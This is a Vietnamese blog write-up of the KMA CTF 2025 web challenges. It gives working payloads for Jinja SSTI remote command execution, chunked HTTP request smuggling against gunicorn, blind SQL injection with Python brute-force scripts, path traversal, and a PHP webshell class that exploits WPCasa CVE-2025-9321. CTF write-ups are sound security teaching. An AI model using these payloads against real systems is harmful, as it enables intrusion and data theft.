LOADING
2848 words
14 minutes
Writeup KMA CTF 2025
2025-09-29

KMA CTF :#

Writeup KMA CTF (Web exploitation) image

YDSYD :#

Bài này server cho user adminisAdmin : true sẵn rồi. Ở endpoint /login ko có sự filter nào về user admin image

Vậy chỉ cần login vào với user là admin là đã có token JWT và get flag thôi.

POST /login HTTP/2
Host: ydsyd.wargame.vn
Content-Type: application/json
Content-Length: 16
{"user":"admin"}

image

Và chỉ cần gắn cookie vào, POST tới annyeong là đã được flag : image

POST /annyeong HTTP/2
Host: ydsyd.wargame.vn
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlLCJpYXQiOjE3NTkwNDMyMzAsImV4cCI6MTc1OTA0NjgzMH0.9Aeue-p_znn_7PGm7SOoPDqm1Ryq5Ds2z86GF-UtqJI
Content-Type: application/json
Content-Length: 2
{}

image FLAG : KMACTF{Y1u__50lv3d_Y0u_L1ved??<3}

ACL and H1 :#

Unintend :#

Challenge này có vuln SSTI ở /render image

Nhận filepath sau đó sẽ read file và render_template_string với nội dung file. Và cho chúng ta upload file, nó sẽ random name sau đó save vào uploads image

Hàm allow_file sẽ check file coi có phải là txt hoặc html hay không. image

Và challenge này sử dụng gunicorn làm sv proxy. config :

map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get
map / http://gunicorn-server:8088/

Thì nó sẽ chặn rq tới /render http://gunicorn-server:8088/internal với method post hoặc get.

Thì /render chính là chỗ chúng ta cần truy cập để trigger SSTI Thì gunicorn có CVE Http Requests Smuggling nhưng ở biên bản thấp hơn, mà author sử dụng gunicorn==23.0.0 nên phải tìm cách bypass khác.

Để ý thì author dùng map /render Vậy sẽ ra sao khi chúng ta encode endpoint đó và gửi lên sv. Khi gửi rq bình thường : image Encode : image

Vậy là đã truy cập được , bây giờ upload file chứa payload SSTI RCE để get flag thôi :

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /*').read() }}

Sau khi upload thì đã được path : image See all file : image Render + url encoding :

image

Flag : KMACTF{HTTP/1.1_Must_Di3_or_Not?????}

Intend :#

https://w4ke.info/2025/06/18/funky-chunks.html

Bài blog này phân tích cho chúng ta cách lợi dụng kí tự kết thúc dòng (\r,\n) để gây HTTP Requests Smuggling. Bài viết này phân tích 4 vector attack : TERM.EXT,EXT.TERM,TERM.SPILL,SPILL.TERM nhưng mà chủ yếu áp dụng TERM.EXTEXT.TERM Đầu tiên để hiểu thì chúng ta cần tìm hiểu Chunk extensions trước.

Trong HTTP/1.1, khi một rq được gửi với Transfer-Encoding: chunked, dữ liệu được chia thành nhiều chunk. Mỗi chunk có cú pháp như sau :

<chunk-size>[;<chunk-extension>]\r\n
<chunk-data>\r\n
  • chunk-size là độ dài dữ liệu, nó được tính theo hex
  • chunk-data là data.
  • chunk-extension là phần chunk mở rộng, nó ở sau dấu ; (có hay không cũng được.)

chunk-extension có tác dụng cung cấp metadata cho chunk (signature hoặc hash) image

Và trong thực tế thì hầu như không có server/client nào sử dụng chúng. Các trình parse thường hay bỏ qua nó.

NOTE

chunk-extension không được sử dụng phổ biến và rộng rãi nên là các trình parse triển khai HTTP có thể sẽ không tuân thủ chuẩn về các quy tắc của nó. (Có thể gọi là làm cho có)

Và chúng ta lợi dụng sự mơ hồ về parse chunk-extension để chèn các kí tự end line.

Ví dụ chúng ta chèn \n vào bên trong chunk-extension thì trình parse sẽ có 3 lựa chọn :

  • Bỏ qua \n và parse bình thường để tìm \r\n (terminator). Và nó đã vi phạm quy tắc RFC (Do kí tự này không được cho phép trong chunk-extension )
  • Hiểu nó như một kí tự end line : Lúc này thì trình parse nó sẽ end cái chunk-header (chunk-extension nằm trong header) và bắt đầu parse chunk-body
  • Throw lỗi. Cách này là an toàn nhất.

Vậy thì chúng ta cần lợi dụng lựa chọn 1 và 2 để Smuggling nếu proxy chọn cách 1 và server chọn cách 2 và ngược lại.

TERM.EXT (Terminator trong Extension)#

Cách này là proxy hiểu là kí tự end line và server không hiểu. image Chúng ta có thể thấy proxy nhận \n ở sau dấu ; (chunk header) là dấu kết thúc dòng. Lúc này proxy sẽ parse chunk body và khi hết 2 byte kí tự thì xuống chunk header khai báo có 45 byte body -> parse hết 45 byte rồi tìm 0\r\n để end request TE.

Còn bên server, server không nhận \n là kí tự kết thúc dòng. Sẽ đi tìm \r\n để kết thúc chunk header. Sau đó 45 sẽ là chunk body, 0\r\n\r\n sẽ kết thúc requests của TE.

Và request mới đã được tạo ra.

EXT.TERM :#

Thì biến thể này ngược lại, proxy ko hiểu end line \n còn server lại hiểu.

image

Ta có thể thấy chunk header khai báo 45 byte (hex) và ; để mở chunk extension , chèn \n vào , proxy không nhận và nó sẽ tìm \r\n chính thức để end chunk header. Sau đó chunk body sẽ được parse 45byte hex.

Còn bên server, Nó hiểu \n là end line nên sẽ dừng chunk header sau đó chunk body sẽ kéo dài 45 byte hex và kết thúc với 0\r\n\r\n và requests thứ 2 sẽ được tạo ra.

solve :#

tác giả có bảo gunicorn có bị TERM.EXT nên là chúng ta có thể test bằng TERM.EXT (Lỗ hổng đã được biết đến và đang chờ fix.) image Vì là TERM.EXT nên là proxy nhận \n là end line còn server ko nhận. Nên sẽ viết payload như sau :

GET / HTTP/1.1\r\n
Host: localhost:8188\r\n
Connection: keep-alive\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\n
cc\r\n
54\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: localhost:8088\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n

image Check trong console của docker thì nó có báo ERROR - 404 Error: Path '/admin' not found Vậy là đã smugg thành công. image Vì request smugg được server xử lí và chỉ response request / đầu tiên nên là tìm cách leak flag bằng OOB. Nhưng mà do server docker không có các command OOB đơn giản rồi nên là có thể dùng route này để read flag image payload SSTI :

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('mkdir /app/uploads/flag_ccmm && cat /flag* > /app/uploads/flag_ccmm/ccc.txt').read() }}

upload : image uploads/055a1dc947e94d49a55705f8634b84ec/5553a10c3dae4096.txt

Smugg render : image get flag : image

payload cho bạn nào muốn test :

GET / HTTP/1.1\r\n
Host: 165.22.55.200:50001\r\n
Connection: keep-alive\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\n
cc\r\n
96\r\n
0\r\n
\r\n
GET /render?filepath=uploads/055a1dc947e94d49a55705f8634b84ec/25ab8e8364d04222.txt HTTP/1.1\r\n
Host: localhost:8088\r\n
Transfer-Encoding: chunked \r\n
\r\n
0\r\n
\r\n

Flag : KMACTF{HTTP/1.1_Must_Di3_or_Not?????}

vibe_coding :#

Challenge này có 2 service là nodejspython

Service python chứa flag và được return khi call process_action với usernameadminactionreadFlag

image

Ở endpoint /execute (Đã rút gọn code) Thì sẽ nhận POST tới và get username,request_id ,action từ request.form.get('...').strip()

@app.route('/execute', methods=['POST'])
def execute_handler():
try:
username = request.form.get('username', '').strip()
request_id = request.form.get('requestid', '').strip()
action = request.form.get('action', '').strip()
if not username or not request_id or not action:
return send_error_response(
"Missing required fields",
"username, requestid, and action are required",
400
)
...
return jsonify(response), 200
except Exception as e:
...

hàm .strip() sẽ xoá space ở đầu và ở cuối của variable. Service python chỉ cho phép local, ko mở port ra bên ngoài. image

Service nodejs

app.post('/register', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({
error: 'Username and password are required'
});
}
if( typeof username !== 'string' || typeof password !== 'string' ) {
return res.status(400).json({
error: 'Username and password must be strings'
});
}
// Validate username length (must be > 5 characters)
if (username.length <= 5) {
return res.status(400).json({
error: 'Username must be longer than 5 characters'
});
}
if (users[username]) {
return res.status(400).json({
error: 'User already exists'
});
}
try {
const hashedPassword = await bcrypt.hash(password, 10);
users[username] = {
username,
password: hashedPassword,
createdAt: new Date().toISOString()
};
res.json({
message: 'User registered successfully',
username: username,
hint: 'Now you can login to get JWT token'
});
} catch (error) {
res.status(500).json({
error: 'Registration failed',
message: error.message
});
}
});

Endpoint này cho register, check users[username] xem nếu có báo user đã tồn tại hoặc lỗi thì return failed

Còn /action sẽ get data từ requests của user. Sau đó sẽ gửi về server python /execute : image

Để ý thì register, login sẽ ở bên service nodejs. Còn khi action qua service của python thì nó sẽ nhận data và .strip() image Ý tưởng :

Chúng ta có thể lợi dụng điều này để reg username admin (có space ở 2 đầu) để register và login. Sau đó khi server nodejs forward qua server python thì sẽ strip và chúng ta đã được user là admin trong requests tới /execute.

Register :

POST /register HTTP/1.1
Host: 165.22.55.200:50004
Connection: keep-alive
Content-Type: application/json
Content-Length: 43
{"username":" admin ","password":"duc193"}

image

Login :

POST /login HTTP/1.1
Host: 165.22.55.200:50004
Connection: keep-alive
Content-Type: application/json
Content-Length: 43
{"username":" admin ","password":"duc193"}

image

Get flag :

POST /action HTTP/1.1
Host: 165.22.55.200:50004
Connection: keep-alive
Content-Type: application/json
Authorization: Beaber eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IiAgYWRtaW4gIiwiaWF0IjoxNzU5MDU4NjgxLCJleHAiOjE3NTkxNDUwODF9.YlixecXi8vByAOr-xZSGv7b1uXQD7lPldoGwvQRFHaM
Content-Length: 21
{"action":"readFlag"}

image flag : KMACTF{how_can_you_pollute_param_@@_}

Data Lost Prevention :#

Challenge này cho chúng ta 1 trang web như sau : image

Để ý vào chức năng search và chức năng export. Đầu tiên thì phải xác định flag nằm ở đâu đã : image

Thì đoạn code này sẽ check coi trong attachmentsis_lost=1 trong db chưa, có r thì out. Chưa có thì sẽ gen uuidv4 rename file flag và gắn vào path /var/data/flags. Sau đó sẽ add vào table attachments với filenameQ2-incident-raw.csvstorage_path là path tới file flag vừa gen.

/api/search.php : image

Đoạn này có dính vuln SQL Injection do chèn $filtered vào payload sql. Dù đã qua filter nhưng vẫn k an toàn.

  • $q2 = preg_replace('/\s+/u', '', $q); đoạn này sẽ filter và replace các khoảng trắng. Bao gồm space,tab,\n,...
  • $q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2); dòng này sẽ replace orand (không phân biệt viết hoa hay thường.). Lưu ý là do có \b nên là chỉ có or hoặc and đứng một mình mới bị replace. Nên là ko thể bypass bằng cách dùng oorr hay anandd. Nhưng mà có thể dùng ||,&& thay cho orand.
  • $q2 = str_ireplace(["union","load_file","outfile","="], '', $q2); Hàm này chỉ đơn giảnn là replace các kí tự nếu có trong chuỗi (Ko phân biệt Hoa, thường). Và lưu ý là chuỗi sau khi replace xong sẽ được check strlen dưới 90 kí tự mới cho phép query

Đây là payload gốc :

$sql = "SELECT id,title FROM cases WHERE title RLIKE '.*$filtered' AND owner_id = :uid LIMIT 1";

Thì chỉ trả về json (bool)$row nên chúng ta cần query blind boolean để trả về row hoặc ko. Vậy cần payload ngắn mà đáp ứng được điều kiện trên : Sau một hồi fuzz thử thì được payload như sau :

image

payload :

-'union select 1,1 FROM(attachments)where substr(storage_path,1,1)like'/'#

(-' để làm cho nó return sai vế trước.) Sau đó dùng union để select 2 row và get storage_path từ attachments, sau đó substring để bruteforce từng kí tự.

Bypass filter :

  • Vì union bị filter nên có thể chèn unio=n để khi nó replace = sẽ còn chuỗi union.
  • Bypass filter space bằng /**/
  • Đoạn FROM(attachments) thì dùng cách này để khỏi phải dùng /**/FROM/**/attachments/**/ để payload ngắn hơn.
  • Đoạn substring(storage_path,1,1)like'/'# viết liền để hạn chế dùng space (Nhưng mà nó vẫn chạy được.)

Thay /**/ vào payload :

-'union/**/select/**/1,1/**/FROM(attachments)where/**/substr(storage_path,1,1)like'/'#

Được payload 86 kí tự, hợp lí rồi. Script Brute tên file :

import requests
base_url = "https://dlp.wargame.vn/api/search.php?q="
cookies = {"PHPSESSID": "d005006fea64b1d184298adaaf03502e"}
headers = {"Connection": "keep-alive"}
file = "/var/data/flags/flag_2986112"
# Cho _ ở cuối bởi vì chúng ta dùng LIKE nó sẽ luôn true khi có _ (Có thể dùng để check length)
# Nhưng mà do name flag không có `_` nên là thôi bỏ cũng được.
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/.-{}_"
def gen_payload(index,ch):
sql = f"-'uni%3don%2f**%2fselect%2f**%2f1%2c1%2f**%2fFROM(attachments)where%2f**%2fsubstr(storage_path%2c{index}%2c1)like'{ch}'%23"
return sql
for i in range(27,100):
for ch in CHARSET:
payload = gen_payload(i,ch)
url = base_url + payload
a = requests.get(url)
if "true" in a.text:
file += ch
break
print(file)

Do trên server hơi lag nên GPT để script đa luồng cho nhanh :

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
import time
base_url = "https://dlp.wargame.vn/api/search.php?q="
cookies = {"PHPSESSID": "d005006fea64b1d184298adaaf03502e"}
headers = {"Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (ctf-bruter)"}
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/.-{}"
file_path = ""
MAX_WORKERS = 10
REQUEST_TIMEOUT = 8
RETRY = 2
SLEEP_BETWEEN_INDEX = 0.05
def gen_payload(index, ch):
sql = f"-'uni%3don%2f**%2fselect%2f**%2f1%2c1%2f**%2fFROM(attachments)where%2f**%2fsubstr(storage_path%2c{index}%2c1)like'{ch}'%23"
return sql
def probe_char(session: requests.Session, index: int, ch: str) -> bool:
url = base_url + gen_payload(index, ch)
tries = 0
while tries <= RETRY:
try:
r = session.get(url, cookies=cookies, headers=headers, timeout=REQUEST_TIMEOUT, allow_redirects=False)
if "true" in r.text:
return True
return False
except requests.RequestException:
tries += 1
time.sleep(0.2)
return False
def find_char_at_index(session: requests.Session, index: int) -> str | None:
found_event = threading.Event()
found_char = None
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(probe_char, session, index, ch): ch for ch in CHARSET}
try:
for fut in as_completed(futures):
ch = futures[fut]
try:
ok = fut.result()
except Exception:
ok = False
if ok:
found_char = ch
found_event.set()
break
finally:
pass
return found_char
def main():
global file_path
start = 1
end = 100
with requests.Session() as session:
for i in range(start, end):
ch = find_char_at_index(session, i)
if ch is None:
print(f"[{i}] No char found -> stopping.")
break
file_path += ch
print(f"[{i}] found: {ch} -> {file_path}")
time.sleep(SLEEP_BETWEEN_INDEX)
print("Done. Final:", file_path)
if __name__ == "__main__":
main()

Nhớ thay cookie vào chạy chứ không bị lỗi. Được tên flag : image

/var/data/flags/flag-2986112f-ec04-4d17-b80a-6a60a00a95da.txt

Bên export.php image Thì sẽ check while nếu có ../ sẽ replace thành "" (Không thể dùng ..././) vì nó có đệ quy) Để ý thì nó có urldecode nên chúng ta có thể encoding 2 lần gửi lên để bypass qua filter. 2 lần do 1 lần server tự decode, lần thứ 2 là do code.

path traversal về :

../../data/flags/flag-2986112f-ec04-4d17-b80a-6a60a00a95da.txt double url encode : ..%252f..%252fdata%252fflags%252fflag-2986112f-ec04-4d17-b80a-6a60a00a95da.txt

image Flag : KMACTF{i'M_bL1nd_bUt_u_'r3_Sm4rZZZZ}

CVE-2025-93XX :#

Challenge này author cho chúng ta 1 file WordPress : Sau khi dựng local lên thì vào page admin. Thì challenge WP thường đa số sẽ target vào plugin WP. Nên là check thử Plugin trong wp-admin : (Ở đây mình tự active 2 plugin) image Vậy là có 2 plugin là Safe PHP Class Upload (read-only, non-executable) version 0.1 (author meulody tên author challenge này ) và WPCasa version 1.4.1

Khi search thử thì thấy có CVE của wpcasa https://zeropath.com/blog/cve-2025-9321-wpcasa-wordpress-plugin-code-injection-summary

CVE 2025-9321 Tóm tắt thì plugin WPCasa có chứa lỗ hổng Code Injection cho phép attacker call hàm api_requests nằm ở file includes/class-wpsight-api.php và có thể dẫn tới RCE. Do không WhiteList, filter blacklist input nên dẫn tới việc attacker có thể tấn công vào và RCE.

Vì CVE này mới ra được 6 ngày nên chưa có PoC (1day). image

Mở thử file đó lên xem như nào đã : Khi khởi tạo class nó sẽ chạy __construct()

  • add_filter( 'query_vars', array( $this, 'add_query_vars'), 0 ); : thêm biến query wpsight-api vào danh sách query_vars của WordPress.
  • add_action( 'parse_request', array( $this, 'api_requests'), 0 ); : Hook vào quá trình parse request để xử lý khi có request tới endpoint API.
  • function add_query_vars( $vars ) : Mở rộng query vars của WordPress để chấp nhận tham số ?wpsight-api=... trên URL.

image Hàm api_requests sẽ có flow như sau :

  • Nếu tồn tại $_GET['wpsight-api'] → gán vào $wp->query_vars['wc-api'].
  • Sau đó check nếu có $wp->query_vars['wc-api'] sẽ ob_start() Hàm này sẽ không cho script nếu được chạy in ra output ra ngoài. Đây là lí do tại sao khi gọi echo nó không in ra.
  • Tiếp tục sẽ gắn $api từ wpsight-api lowercase. Sau đó nếu tồn tại class thì khởi tạo class đó. với new $api()

image

Ban đầu thì ý tưởng là tìm sink để RCE nhưng mà không được, do chỉ cho mỗi reg new Class, không cho truyền j vào. Sau thì nghĩ lại thấy plugin upload của author : image Đầu tiên sẽ khởi tạo và add_action('rest_api_init', function () để nhận rq post tới. image

flow sẽ như sau : Nhận file -> check coi nếu file có size > 64 byte thì throw lỗi. -> read file và check phải có Class ... -> sau đó sẽ check xem chúng ta có sử dụng hàm bị cấm không.

image

Rồi mới save vào file .txt image Câu hỏi đặt ra là save vào file txt thì làm sao mà dùng Class này để có thể trigger CVE được.

Để tìm hiểu rõ hơn thì CTRL SHIFT F uploads_safe_classes image Và chúng ta đã tìm thấy author đã sửa đoạn code này để include file txt vào. image

Và đoạn code này nằm trong hàm __construct của class WPSight_Framework Lệnh wpsight(); ở cuối file được gọi mỗi lần WordPress load plugin này. Trong function đó, nếu biến global $wpsight chưa tồn tại, nó sẽ new WPSight_Framework() và sẽ làm load constructor.

NOTE

Mà mỗi lần truy cập web thì wp sẽ load plugin cho chúng ta, vậy chúng ta có thể coi như server luôn trigger include file txt.

image

Vậy thì upload sẽ ở endpoint nào : image Thì nó sẽ add_action vào rest_api_init nên là mình tìm thấy docs : https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/

image

Vậy là chúng ta có thể gọi upload bằng query : ?rest_route=/safe-upload/v1/upload

image

Upload thành công.

image

Vậy giờ tìm cách để rce, bypass filter và size 64byte.

Thì trong magic method của PHP có function magic method __construct là hàm sẽ được chạy khi chúng ta khởi tạo 1 object.

Vậy thì chúng ta có thể lợi dung nó với cách gọi hàm $a($b) để RCE. (Dùng payload này là do nó ngắn để ko bị dính quá 64 kí tự) hoặc có thể dùng include($_GET[1]) và kết hợp với php filter chain.

Ví dụ : image

Và để control thì chúng ta có thể dùng $_GET[1]($_GET[2]) để truyền tham số vào bằng requests.

payload :

<?php class cc{function __construct(){$_GET[1]($_GET[2]);}}

upload :

Terminal window
curl -X POST "http://localhost:8082/?rest_route=/safe-upload/v1/upload" -F "file=@123.txt"

image

GET /?wpsight-api=cc&1=system&2=ls HTTP/1.1
Host: localhost:8082
Connection: keep-alive

image

Vì nó luôn die(1) nên phải blind exploit. get Flag bằng cách copy file flag.php ra /var/www/html

cat /var/www/html/flag* |base64 > /var/www/html/duc193_xxxxxx.txt Được flag local : image

Flag server : image image

Flag : KMACTF{Y3s_it's__1dayupload_php_class_4nd_ex3cut3_it_⚆_⚆}

Writeup KMA CTF 2025
/posts/kma_ctf_2025/
Author
duc193
Published at
2025-09-29
License
CC BY-NC-SA 4.0

Some information may be outdated

Profile Image of the Author
duc193
Hi
Announcement
Welcome to my blog!